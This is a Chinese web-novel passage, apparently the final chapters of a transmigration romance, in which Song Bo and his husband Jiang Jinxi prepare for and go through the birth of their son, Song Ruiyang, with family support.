宋泊一时不知自己该说些什么,他站起身走到江金熙身侧,伸手轻柔地抚上江金熙的小腹,现下刚刚一月多,还没有任何感觉,江金熙平坦的小腹下面孕育着他们俩爱的结晶,怎么想都有些太神奇了。 “我得赶紧写信回村,让大姑来帮忙。”宋泊道。 怀孕这种事儿他没有经验,大姑虽然也没有孩子,但她毕竟是个女子,多少会比他清楚一些。 至于大姑为何没有自己的孩子,原主的记忆里并没有这件事的记载,所以宋泊也不明白究竟是为什么。古代最是重视子嗣,大姑和姑父感情很好却没有孩子,想来可能是发生了什么不好的事,故而宋泊也不好开口问,便把这个问题一直按在心底。 孩子是上天的恩赐,有很好,没有也不会影响什么。 “是呀,你快唤大姑回来,我都好久未见着她了。”江金熙忙说道。 自上回成亲过后,江金熙已有一年多未见着宋茶栽了,两边的事儿都很多,腾不出时间来,只能靠着书信知道互相的近况。 宋泊在江金熙面前写下书信,让简言拿去驿站送了,怀胎十月,宋茶栽也不必要马上收着信,这封信便未加急。 简言拿信走后,宋泊又抽出一张白纸来,“你与我说说孕期期间有什么要注意的,我都记下来。” 现下还是怀孕初期,一些孕期反应还未出现,宋泊也是未雨绸缪,先将有可能出现的情况记下来牢记于心,后头如果真的发生了,他不至于手忙脚乱。 江金熙也知道怀孕是两个人的事,若他难受到动弹不得,照顾他的活儿就会落到宋泊身上,为了让自己好受一些,也为了宋泊不那么辛苦,江金熙单手撑在桌上托着脸,一字一句将哥儿怀孕需要注意的事儿说了下来。 这不记不知道,一记吓一跳,原来孕期要注意的事情有这般多,宋泊单是看着这满满一单子的注意事项,就觉着江金熙真的太辛苦了。 “这胎生来,我们便不要第二胎了。”宋泊心疼道。 “往后再说,现下定了也不作数呐。”江金熙回。 孩子这事儿哪是他们能决定的,说着不要若意外来了,也不能打掉。 “你可与爹、娘说了?”宋泊问,此处的爹、娘指的是江金熙的父母。 “还未,过两日你休沐了,我们再一块回家说去。” “好。” 翌日,宋泊下了朝到太常交差,又在太常做了一日的活,一下工他便自己踱步去了书店,买了与哥儿怀孕有关的书。 书店老板瞧着宋泊买了这书,猜想他家有喜,本着助人为乐的心理,他还与宋泊多言了一句,让他早些定下稳婆。 京城人口基数大,每年出生的人很多,可稳婆就那么些人,好的稳婆更是屈指可数,算着预产期早些定下,也是对孕夫好,毕竟哥儿生产的难度比姑娘可是高了不少,危险度也是。 宋泊倒是未想着这茬,现代怀了孕快到生产日时去医院住着就是,随时生产随时推进产房,根本没有稳婆之忧,如今到了古代,确实得记着这事儿。 宋泊也是第一次当准爹爹,很多事都没有经验,都得依靠年长者才是,他付了书钱,与书店老板道了声谢后便出了书店。 宋泊拿着书,心事重重往家走,稳婆他还真没有人脉,或许还得麻烦江夫人才是。 四月六日,宋泊休沐,日头正好,宋泊和江金熙坐着马车回了丞相府。 江丞相有事外出,近几日不在京城,丞相府内只有江夫人在。 听着自家哥儿和儿婿回来了,坐与院中喝茶、绣花的江夫人搁下手里的活,到院门迎接,“今儿个怎么想着回来了?” “这不是想娘亲了,便回来看看你。”江金熙揽着江夫人的胳膊撒娇道。 “娘。”宋泊跟着唤了声。 “诶。”江夫人先应了宋泊的声,而后才继续与江金熙闲聊,“没那么简单吧,往日你都自己来,今日怎的把宋泊也带来了?” “还是娘亲聪明。”江金熙夸着,与江夫人一道儿坐在院中亭子里。 宋泊在两人中间的圆环座位坐下,接了泡茶的活儿,给自己和江夫人倒了茶,而给江金熙倒了水。 江夫人注意着这个小细节,心底有了些猜测,她笑意盈盈握着江金熙的手,两人聊了些别的,她才问道:“说吧,这次来府上什么事呀?” “娘亲。”与自家娘亲说来还怪害羞的,江金熙深吸了一口气,开口道:“娘亲,我有孩子了。” “是嘛,那可是好事呀。”果然如自己猜测一般,江夫人握紧江金熙的手,说:“我家金囝就是有福气,别个家的哥儿三、五年才能怀上,咱家金囝两年就怀了。”她先夸了两句,随后话锋一转,“这两日你们收拾些常用的东西,住府上。” “娘亲?”江金熙疑惑。 “哥儿生产马虎不得,过两日你们就搬来,府上人多,相互有人照看着。”江夫人语重心长,“娘亲也得亲眼瞧着你才放心。” 往日没少听着怀孕哥儿生了孩子,孩子留着哥儿走了的事儿,江夫人不愿这事儿发生在江金熙身上,就得让他回家来自己眼皮下生活着,这才能放心。 江金熙知道自家娘亲的用意,不过这才孕初,不必要如此大费周章,“等五月以后我再搬来就是。” “不成。”江夫人在这事上可是坚定,无论江金熙如何劝说都不愿意退步半分,最后还是宋泊说着两家住得不远,搬一点儿东西来即可,有想着用到的东西再叫青桥、简言回宋宅拿,江金熙这才同意搬回府上睡。 “对了,娘,你可有认识的信得过的稳婆?”宋泊正好借此问着。 前几日他问过家中有孩子的同僚,不过大家推荐的人都不相同,他还是觉着问问江夫人合适。 “此事你不必担心,我会找好稳婆的。”江夫人道,不止她自己,其他官场上与她熟识的夫人们多有生产经验,她们都用过稳婆,自有人脉。 这种事还是得女子来办才是专业,有江夫人这话在,宋泊把心放回它该在的地方。 四月十二日,又一次休沐,宋泊和江金熙便背着行囊回了丞相府,与他俩一块儿回来的还有青桥和简言,众人怕常乐乱跑绊着江金熙,便把常乐放在家中养着,想常乐回去瞧瞧就是。 【正文完】 第170章 第一百七十章生活如此,便…… 四月底,宋茶栽从近里村赶了来,刘南民因着田里刚种下草药离不开人,再加上男子赶来也没什么作用,便搁家中照看田地,没有随宋茶栽一道儿来。刘南民虽未来,却叫宋茶栽多写信回去,他也心系江金熙,要知道他的情况。 宋茶栽来后,江金熙彻底成为了两个家的珍宝,是走在路上怕摔了,坐在椅子上爬跌了。 五月一日晨,江金熙又被一股恶心感惹醒,他推了下身边睡着的宋泊,宋泊立即从睡梦中起来,条件反应着给江金熙拿盆。 江金熙屈身呕吐,宋泊就给他拍着背,等吐完后拿着边上放的手巾给他擦嘴。 江金熙无力地趴在宋泊身上,一呼一吸中尽是痛苦。 “又难受了吗?”宋泊揽住江金熙,心疼道。 四月中以后江金熙就开始孕吐,前头一日吐一、两次,后面越发严重,吃的东西都吐了出来,短短半月便瘦了十几斤。 “没事,我料到的。”江金熙摇了摇头,等缓过来以后才反身躺在宋泊身侧。医书上都写了,孕夫会有孕吐反应,只是江金熙没想到他的反应会这么严重。 “这孩子真会折腾人,等他出来了,我定打他一顿。”宋泊道。 “说什么呢。”江金熙道。 清晨,宋泊去上朝,照顾人的活儿便落在其他人身上。 江金熙早晨吃了碗白粥再配了几根青菜,便前往百安馆上工,怀孕初期,他还做得了看诊的活儿,只是他后头多了三个小尾巴,青桥、宋茶栽和江夫人。 江夫人不会医术,来医馆里待着纯粹是为了看着江金熙,她的身份摆在那儿,没人敢叫她帮忙。江夫人就像一尊像似的,坐在医馆的休息椅子上,身着华丽,倒是让进医馆看病的客人懵了,以为自己走错了地儿。 有不少客人问江金熙这是什么情况,引得江金熙不得不将江夫人带去医馆楼上休息,“娘亲,你这样坐着会影响我生意的。” 江夫人觉着冤枉,“我只是坐着罢了,什么事也未做呐。” “这儿都是百姓,他们瞧着你这一身华丽会害怕的。”江金熙道。 江金熙深知民不想见官,虽说江夫人不是官,但因着她一身锦衣华饰,就会被百姓们认为是官家人。这般认为之下,一些还能拖的病人便不想进来,只想等着江夫人走了再说,不然一不小心惹着官家人生气,别说看病了,脑袋可能都得交代在这儿。 “我瞧我家哥儿还碍着他们了?”江夫人声音微抬。 “哎呀,这儿有大姑看着我呢,不会有事的。”江金熙环住江夫人的隔壁,撒娇道:“我知道你是为我好。” 江夫人向来扛不住江金熙的撒娇,听着江金熙软乎乎地劝她,她还是妥协了。宋家大姑听说也是个厉害的医师,有她在医馆里倒也能放心。 六月初,江金熙的孕吐反应便结束了,他的小腹微微隆起,穿着宽大的衣裳倒也不太明显,只有宋泊这个床边人,知晓江金熙的腹部隆起到何种程度。 十月底,江金熙便被家人们限制着不可再去百安馆。 虽然百安馆是江金熙的事业,但离生产不过一月半,在此期间可得紧着身子,百安馆那儿病原菌多,江金熙不便再去。 闲来无事的江金熙只能在家中写写医书,上回那本医书卖得不错,除去印刷成本,已经回了本又赚了几十两,趁着这段在家的时间,他刚好能把前头医馆里遇到的新病例整理起来,布局下一本医书。 宋泊去上工,宋茶栽帮江金熙照看医馆,家中剩着江夫人与江金熙说说话,为了不让江金熙觉着闷,江夫人还找了夏烟来。 “快让*我瞧瞧你的肚子。”夏烟一来院子里,便冲着江金熙的肚子去。 江金熙挪了下身子,道:“你自己摸就是。” 夏烟小心翼翼覆手上去,只觉着手心下的触感实在奇妙,她坐在江金熙身侧,道:“可是终于等到小小熙儿了。” 夏烟与江金熙一道儿长大,两人是无话不说的好朋友,有夏烟陪着,江金熙觉着在家的日子也不是那么难以度过。 十二月中,小雪花慢慢落着,夏烟撑着把伞又来到丞相府,今日她与江金熙约着,准备将小宝贝的衣服完工。 前些日子夏烟提出要给小宝贝亲手做件衣裳,江金熙欣然应允,不过江金熙手艺活儿不好,还得夏烟帮忙,今日便是准备将最后一点儿花纹绣上,如此便可完工。 瞧着青桥把人带到屋内,江金熙两手往后撑着身子坐了起来,“你来啦。” “哎哟,小心些。”夏烟连忙跑过去扶着江金熙。 十二月入了冬,江金熙的肚子也大了起来,因着屋内暖和,所以两人相聚的地儿便变成了江金熙的卧房里,宋泊还特意在房里多装了套桌椅,为了就是方便夏烟。 待江金熙靠着墙壁坐好后,夏烟将两人做一半的小衣裳和针线拿来,她凑在江金熙身边,道:“你看,这个红线要往下头走,沿着我们绣好的小虎轮廓走线。” 江金熙一手拿线,一手扯布,听着夏烟说的话可是认真往布上绣花纹,算着日子小宝贝大概属虎,他便做了件虎衣,不知道小宝贝性别如何,他就将老虎的颜色定为什么性别都可穿的红黄色,瞧来也喜庆。 最后落下一针,把线头打上结,在由剪刀一剪,一件亲手缝制的小虎衣便制好了。 夏烟把剪刀和针线收好,往床上一坐,与江金熙一道欣赏着做好的小虎衣,“我们小熙儿也是人夫了,会做衣裳了。” 江金熙听夏烟这么说忍不住一笑,“瞧你说的,好像我之前绣可差似的。” “那不是?之前在学府的时候,你的绣工可是堪堪及格呢。”夏烟笑着揭自家好友的短。 不过江金熙却一直未说话,而且高高举着的双手渐渐放下,夏烟还以为自己惹了江金熙生气,忙说道:“你可是生气了?” “夏烟。”江金熙的语气有些颤抖。 “诶。”夏烟也发现了不对劲,她忙从床边下来,蹲着瞧江金熙。 换了个角度便看得真切,江金熙额头上布满汗水,整个人脸色很差。 夏烟慌了,“你怎么了,可是哪儿不舒服,我、我去喊人来。” 江金熙扯住夏烟的手,交代道:“喊我娘亲,我要生了。” “啊!”夏烟先是惊叫一声,随后捣蒜似的点头,跑出房门时还差点被门槛绊了脚。 “青桥,你赶紧进去照顾你家少爷,我去找夫人。”夏烟瞧见在院子里扫雪的青桥,边嘱咐着边往正房那里去,“对了,在叫个人去太常喊宋泊回来。” “是!”青桥立即应声。 夏烟步伐飞快,江夫人和稳婆马上就赶到了院子里,江夫人估摸着江金熙这几日会生,侍人们都安排好了,只一声令下,两个培训好的侍人与稳婆和江夫人、夏烟一道进了房,而后把房门关上。 青桥还送了信去百安馆,宋茶栽也是快速赶来,她进到屋子里,帮稳婆给江金熙接生。 等宋泊收着消息赶回丞相府时,太阳已经有些西移了。他心焦地在院子里来回踱步,与他一样的还有刚赶回来的江丞相。 江丞相一把年纪难得一次气喘吁吁,边上侍人给他倒了水,他喝下后缓过些许,道:“如何了?” “已经进去两个时辰了。”宋泊应声,这个时候他只恨他是个男子身份,不能进房里时时瞧着江金熙的模样。 江金熙的痛叫声一声一声由里往外穿,像一把利剑一样刺入宋泊的心。 “已经痛了两个时辰了。”江丞相小声地嘟囔一句。 宋泊和江丞相两人守在门口,一守便守到天黑,等里头有侍人端着水盆出来时,宋泊忙上去问道:“郎君如何了?” “口儿还没开到呢,还得再等。”侍人步履匆匆,听到宋泊问快速答了一嘴,便赶忙再去拿一盆新的温水进去。 “这都四个时辰了,口子还没开到,这生孩子当真折磨人。”宋泊可是着急,书上写哥儿的生产时间在八个时辰到十二个时辰之间,在宋泊这儿简直就是度日如年。 又等了两个时辰,江金熙的声音大了起来,与他一块儿喊着的还有稳婆和江夫人。 宋泊瞧不着里面的情况,但听着江夫人喊着“吸气、呼气”,便知江金熙的生产真正开始了。 宋泊又心慌又着急,他坐立难安,宛若一只热锅上的蚂蚁,在江丞相面前不断转圈踱步,看得江丞相都晕了眼,叫他过来与他一起坐下。 一盆一盆血水从里头搬出来,又一盆一盆清水往外头搬进去,整个院子里的人忙得团团转,只有宋泊和江丞相两个男子无事可做。 “金囝,你可坚持着。”忽而宋泊听着这么一句话,他的心顿时悬到了嗓子口,他是再也坐不住,直接跑到房门外头,在靠窗的那个窗户边站定。 既然不让男子进屋,那他就在窗户外头站着,也不算坏了规矩。 “金熙,你一定要加油、努力,我就在外头等着你呢。”宋泊怕里头太吵听不着他的声音,他特地抬高了几分音量,“我进不去屋子中,但我会在这个窗户边一直陪着你,你就瞧着我的阴影,我不会离开半步。” 江金熙一手攥着江夫人,一手攥着宋茶栽,他吃力地睁开眼来,窗户上透着一个人的影子,他爱的人都在身边,他自然要努力。 “加油,金囝,孩子的头已经出来了。”江夫人紧紧攥着江金熙,说着。 里头喊着呼气,宋泊在外面就跟着一起喊,虽然一墙相隔,但江金熙觉着宋泊其实就在他身边。 江金熙缓了两口气,随着稳婆的频率深吸气、深呼气。 又过了一个时辰,正是凌晨好睡的时候,一声孩童啼哭声响彻深夜。 “生了生了!是个哥儿!”稳婆的声音传入宋泊的耳朵里,宋泊安心下来,脱力地靠着墙滑落。 江金熙生孩子花了七个时辰,宋泊就精神紧绷着七个时辰。 还好父子平安,不然他真的不知道要怎么办了。 宋茶栽从屋子里头出来,出声的孩子已经用绸布包好了,就前头哭了一阵,现在闭着眼睡得可香。 宋茶栽找着靠坐在墙角的宋泊,道:“宋泊你瞧,这就是你的哥儿。” 宋泊瞧了一眼襁褓里的孩子,便撑着墙站了起来,想着进屋看看江金熙。不过却被宋茶栽拦着了,“站着,你现在还不能进去。” 宋茶栽说不能进,宋泊便不进,在这个节骨眼他帮不上忙就算了,千万不可给别人添乱。 宋茶栽抱着孩子给宋泊瞧了一眼,又重新回了房内。 又一个时辰过去,稳婆才开了口,说宋泊和江丞相能进屋了。 宋泊和江丞相走入屋内,入目便是一片狼藉,江金熙躺在床上,被褥盖到脸颊以下,一张小脸唰白,一丝血色也瞧不着。 宋泊先唤了江夫人一声“娘”,又唤宋茶栽一身“大姑”,随后赶到床侧,瞧着江金熙的样子,一滴泪便落了下去。 江金熙缓缓睁开眼睛,瞧着面前这个大男人哭得像个孩子一般,他开口道:“宋泊,你哭什么呀。” “对不起,让你在鬼门关前走了一趟。”宋泊抚上江金熙的脸,眼泪一滴一滴落在江金熙的面庞上。 “我不是好好的吗?”江金熙扯了下嘴角,他想笑,却实在没有力气,看起来像是苦笑。 “好,好好的就好,好好的就好。”宋泊说不出心里是什么感觉,他俯下身,轻柔地将江金熙抱在怀中,这可是他的宝贝,他这辈子要爱护的宝贝。 江金熙嗅着鼻尖宋泊的味道,也是一滴泪自眼角落下,中途他歇了力的时候,都是瞧着宋泊的影子才重新振作起来。 还好,他有个好夫君。 两人静静相拥了一会儿,江夫人才拍了拍宋泊的背,“好了,你让金熙休息吧。” “好。”宋泊轻轻松了手,把江金熙的头放在枕头上,又帮他掖好被子,这才舍得与其他人一道儿出了门,给江金熙一个清净。 江金熙也是累极,这一脚睡了六个时辰,直到第二日下午才醒来。 听着江金熙醒了,宋泊、宋茶栽和江夫人这才寻到屋内,孩子由江夫人抱着,宋泊拿了容易消化的吃食来,宋茶栽则是来给江金熙诊身体的。 休息半日,江金熙的体力稍微恢复一些,他靠坐在床边,一边看着自己的宝贝,一边吃着宋泊喂来的粥。 江金熙瞧着自家宝贝像个小老头似的,忍不住说了句,“这孩子脸怎么皱巴巴的,不好看。” 江夫人一听江金熙这么说她的孙子,赶紧抬嘴说着,“你小时候的脸也皱巴巴的,现在还不是长得俊俏。” “是呐,小孩子都这个样,宋泊刚出生的时候也丑。”宋茶栽跟着一块儿说道。 没曾想还有自己的事儿,宋泊悄悄摆了摆耳朵,未做声。 “娘!”江金熙娇道:“大姑!” “好啦,你说得对。”江夫人笑着哄道。 “对了,孩子的名儿可起好了?”宋茶栽问。 孩子出生的乐趣之一便是取名儿,这事儿之前宋泊和江金熙也商量过,他俩对孩子没什么别的期许,就希望他如太阳般灿烂。 “叫什么?”江夫人问。 “叫宋瑞阳。”江金熙低头戳着宋瑞阳肥嘟嘟的脸蛋。 宋泊看着床上坐着的江金熙又瞧了眼宝宝,身边是两位长辈,美好生活在这时变成了实质。 “对吧,宋泊,我们商量的宝宝名儿?”江金熙抬眸看着宋泊。 宋泊看着江金熙的明眸,点了点头,“对,就叫宋瑞阳,祥瑞的朝阳。” 久下的雪停了,一抹阳光从开着的窗户招了进来,落在四人身上,照在宋瑞阳的面上,宋瑞阳睁开眼来,一双眼睛如明星,朝着四人乐。 生活如此,便是幸福。 【正文完。】